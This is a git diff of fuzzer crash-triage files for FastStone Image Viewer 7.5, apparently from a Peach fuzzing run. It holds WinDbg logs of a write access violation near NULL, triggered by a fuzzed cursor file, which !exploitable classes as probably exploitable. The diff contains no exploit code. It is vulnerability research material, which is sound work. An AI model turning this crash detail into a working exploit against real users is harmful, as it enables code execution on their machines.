a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/18162/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/18162/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/18162/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/18162/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/18162/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..4df378a Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/18162/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/18162/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/18162/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..03907c0 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/18162/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1274: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1274: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1274.ff0): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07ef7b19 edx=00000000 esi=00000000 edi=07d04fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.746676551307510880000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.244840000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=3.57725e-031 -4.27558e+021 3.39737e+026 1.26085e-029 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fd8130 07f55930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00311000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00311000 87fe7c0c 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b6 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00311000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/18162/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/18162/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..03907c0 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/18162/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1274: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1274: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1274.ff0): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07ef7b19 edx=00000000 esi=00000000 edi=07d04fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.746676551307510880000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.244840000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=3.57725e-031 -4.27558e+021 3.39737e+026 1.26085e-029 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fd8130 07f55930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00311000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00311000 87fe7c0c 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62b6 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00311000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/18162/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/18162/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..4df378a Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/18162/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/19411/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/19411/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/19411/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/19411/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash 